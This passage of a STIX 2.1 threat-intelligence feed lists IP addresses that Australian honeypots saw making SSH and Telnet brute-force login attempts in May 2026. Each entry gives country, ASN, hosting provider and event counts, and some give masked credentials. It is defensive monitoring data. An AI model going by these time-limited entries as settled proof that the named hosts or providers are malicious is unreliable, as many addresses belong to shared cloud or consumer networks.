      "created": "2026-05-03T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--105845aa-0295-4319-82ba-fb538aa8b3e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '208.87.242.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T17:15:10.000Z",
      "valid_until": "2026-06-04T17:15:08.000Z"
    },
    {
      "created": "2026-05-03T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CY. ASN(s): 209847. Organisation(s): WorkTitans B.V..",
      "id": "indicator--aae65933-869b-4bd1-91f2-89d249347ef8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.12.132.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T17:15:10.000Z",
      "valid_until": "2026-06-04T17:15:08.000Z"
    },
    {
      "created": "2026-05-03T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 268016. Organisation(s): ZN DIGITAL PALOTINA LTDA ME.",
      "id": "indicator--65b059c1-6f84-4c1e-b347-9bf643725042",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.167.151.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T17:15:10.000Z",
      "valid_until": "2026-06-04T17:15:08.000Z"
    },
    {
      "created": "2026-05-03T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 209181. Organisation(s): Zenex 5ive Limited.",
      "id": "indicator--6f0e6f52-6c91-402e-aeb2-96dc25395449",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.90.105.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T17:15:10.000Z",
      "valid_until": "2026-06-04T17:15:08.000Z"
    },
    {
      "created": "2026-05-03T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--bdf6688e-e407-43fa-b6a2-8480fc5894d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '60.186.37.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T17:15:10.000Z",
      "valid_until": "2026-06-04T17:15:08.000Z"
    },
    {
      "created": "2026-05-03T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 12876. Organisation(s): Scaleway SAS.",
      "id": "indicator--536d659a-3e60-4ab1-b63f-053a7ccc17c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.210.38.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T17:15:10.000Z",
      "valid_until": "2026-06-04T17:15:08.000Z"
    },
    {
      "created": "2026-05-03T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): s****a. Passwords observed (masked): s****a.",
      "id": "indicator--2c1eeb9f-3d21-4b3e-bbd5-de022be35ed1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '80.94.92.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T17:15:10.000Z",
      "valid_until": "2026-06-04T17:15:08.000Z"
    },
    {
      "created": "2026-05-03T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 2856. Organisation(s): British Telecommunications PLC.",
      "id": "indicator--a355f9d1-ceba-4428-8a5d-0f4579708b36",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '86.163.147.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T17:15:10.000Z",
      "valid_until": "2026-06-04T17:15:08.000Z"
    },
    {
      "created": "2026-05-03T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9269. Organisation(s): Hong Kong Broadband Network Ltd..",
      "id": "indicator--7f51f5bb-4d07-4443-ad48-13557c1cdea6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.10.186.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T18:15:10.000Z",
      "valid_until": "2026-06-04T18:15:08.000Z"
    },
    {
      "created": "2026-05-03T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--3e3b2cc8-9a26-42a9-9f16-4f10653b1f33",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.243.179.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T18:15:10.000Z",
      "valid_until": "2026-06-04T18:15:08.000Z"
    },
    {
      "created": "2026-05-03T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--b6eb8cd3-0872-473a-9cd7-9a69e14cef99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '135.181.19.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T18:15:10.000Z",
      "valid_until": "2026-06-04T18:15:08.000Z"
    },
    {
      "created": "2026-05-03T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 626. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 40021. Organisation(s): Contabo Inc..",
      "id": "indicator--0045ab1c-3153-4551-a71a-b514a3f1a1fd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '144.126.156.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T18:15:10.000Z",
      "valid_until": "2026-06-04T18:15:08.000Z"
    },
    {
      "created": "2026-05-03T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--a9895d21-89ee-4fd1-b930-c7a10240bdea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T18:15:10.000Z",
      "valid_until": "2026-06-04T18:15:08.000Z"
    },
    {
      "created": "2026-05-03T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--c5ff2b89-d40f-4183-aaa3-513a88c2c1d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '148.113.221.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T18:15:10.000Z",
      "valid_until": "2026-06-04T18:15:08.000Z"
    },
    {
      "created": "2026-05-03T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3269. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, d****y, f*****r, u****u, u**r. Passwords observed (masked): 1****6, ***, P******d, p******d, 1******8.",
      "id": "indicator--db4fe475-5575-48a7-a269-65e1eeddd524",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T18:15:10.000Z",
      "valid_until": "2026-06-04T18:15:08.000Z"
    },
    {
      "created": "2026-05-03T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--99d27d6d-7fbb-45ca-9bc6-8e8c7c3896b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.63.85.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T18:15:10.000Z",
      "valid_until": "2026-06-04T18:15:08.000Z"
    },
    {
      "created": "2026-05-03T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 9009. Organisation(s): M247 Europe SRL.",
      "id": "indicator--c0ec904b-3882-4c28-8918-1e2d29b399b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.255.100.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T18:15:10.000Z",
      "valid_until": "2026-06-04T18:15:08.000Z"
    },
    {
      "created": "2026-05-03T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--acade667-b353-4ab8-b3fc-c554d3d82b30",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.152.164.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T18:15:10.000Z",
      "valid_until": "2026-06-04T18:15:08.000Z"
    },
    {
      "created": "2026-05-03T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--065239a0-61b5-4f56-b829-8fc7ad86f7c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.27.7.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T18:15:10.000Z",
      "valid_until": "2026-06-04T18:15:08.000Z"
    },
    {
      "created": "2026-05-03T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36903. Organisation(s): MT-MPLS.",
      "id": "indicator--c2d11f57-1443-4749-8aa2-1fd12f89763d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.248.99.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T18:15:10.000Z",
      "valid_until": "2026-06-04T18:15:08.000Z"
    },
    {
      "created": "2026-05-03T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 5650. Organisation(s): Frontier Communications of America, Inc..",
      "id": "indicator--69c4d41b-20b0-4e4d-b52c-4bb8e97a4f22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.181.223.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T18:15:10.000Z",
      "valid_until": "2026-06-04T18:15:08.000Z"
    },
    {
      "created": "2026-05-03T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 30058. Organisation(s): FDCservers.net.",
      "id": "indicator--dbd76e13-dcb6-4ea7-9a66-1369e8e3a160",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '50.7.127.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T18:15:10.000Z",
      "valid_until": "2026-06-04T18:15:08.000Z"
    },
    {
      "created": "2026-05-03T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 1257. Organisation(s): Tele2 SWIPnet.",
      "id": "indicator--0136c450-41a0-4252-bd96-ed86732ad307",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '83.248.112.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T18:15:10.000Z",
      "valid_until": "2026-06-04T18:15:08.000Z"
    },
    {
      "created": "2026-05-03T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 25019. Organisation(s): Saudi Telecom Company JSC.",
      "id": "indicator--41dd213e-086f-46d5-883c-9b4b53838e60",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.195.132.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T18:15:10.000Z",
      "valid_until": "2026-06-04T18:15:08.000Z"
    },
    {
      "created": "2026-05-03T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 62390. Organisation(s): NexonHost Srl.",
      "id": "indicator--445ab24d-ad07-45b0-84db-efaf32e789da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.45.13.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T18:15:10.000Z",
      "valid_until": "2026-06-04T18:15:08.000Z"
    },
    {
      "created": "2026-05-03T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 50673. Organisation(s): Serverius Holding B.V..",
      "id": "indicator--88624a46-31c1-403c-babf-670a913ed127",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.219.63.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T18:15:10.000Z",
      "valid_until": "2026-06-04T18:15:08.000Z"
    },
    {
      "created": "2026-05-03T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 41202. Organisation(s): UNITEL LLC.",
      "id": "indicator--788de156-d1c6-4faf-a53e-28e60e4b8493",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.214.211.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T18:15:10.000Z",
      "valid_until": "2026-06-04T18:15:08.000Z"
    },
    {
      "created": "2026-05-03T19:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 149. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24309. Organisation(s): Atria Convergence Technologies Pvt. Ltd. Broadband Internet Service Provider INDIA. Usernames observed (masked): u****u, ***, o****e, 3**********4, a***n. Passwords observed (masked): **, ***, 1********c, 1******., 1**********C.",
      "id": "indicator--bcaf2e47-d4a5-4ad6-89f2-4fbccb95b3f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.51.92.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T19:15:14.000Z",
      "valid_until": "2026-06-04T19:15:08.000Z"
    },
    {
      "created": "2026-05-03T19:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--0f77e6a8-2627-4cab-b2e5-caa6071f8406",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.135.60.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T19:15:14.000Z",
      "valid_until": "2026-06-04T19:15:08.000Z"
    },
    {
      "created": "2026-05-03T19:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 49981. Organisation(s): WorldStream B.V..",
      "id": "indicator--c1f58495-948b-4893-8bf6-444915972274",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.110.112.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T19:15:14.000Z",
      "valid_until": "2026-06-04T19:15:08.000Z"
    },
    {
      "created": "2026-05-03T19:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 59729. Organisation(s): Green Floid LLC.",
      "id": "indicator--7c88f780-4b0f-475a-8b9a-3d615e93f268",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.204.53.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T19:15:14.000Z",
      "valid_until": "2026-06-04T19:15:08.000Z"
    },
    {
      "created": "2026-05-03T19:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MK. ASN(s): 57374. Organisation(s): Company for communications services A1 Makedonija DOOEL Skopje.",
      "id": "indicator--db97aea2-6d26-40a8-a61d-f6755d7a2df8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.44.20.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T19:15:14.000Z",
      "valid_until": "2026-06-04T19:15:08.000Z"
    },
    {
      "created": "2026-05-03T19:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 263703. Organisation(s): VIGINET C.A.",
      "id": "indicator--70cd11bf-351c-4ab3-8671-26ff7972cfaf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.97.237.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T19:15:14.000Z",
      "valid_until": "2026-06-04T19:15:08.000Z"
    },
    {
      "created": "2026-05-03T19:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14670. Organisation(s): WHG Hosting Services Ltd.",
      "id": "indicator--b34182d4-186e-43f4-9f06-04284e99c4f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '191.101.33.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T19:15:14.000Z",
      "valid_until": "2026-06-04T19:15:08.000Z"
    },
    {
      "created": "2026-05-03T19:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 213035. Organisation(s): Des Capital B.V..",
      "id": "indicator--87879be9-274f-46eb-bb41-c258c73b375a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '212.192.216.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T19:15:14.000Z",
      "valid_until": "2026-06-04T19:15:08.000Z"
    },
    {
      "created": "2026-05-03T19:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--88f48614-887b-445b-8767-3cff3de84d05",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.11.111.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T19:15:14.000Z",
      "valid_until": "2026-06-04T19:15:08.000Z"
    },
    {
      "created": "2026-05-03T19:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 35916. Organisation(s): MULTACOM CORPORATION.",
      "id": "indicator--9b797155-a633-40f3-b406-ec42abd1a529",
      "labels": [
        "bruteforce"
      ],
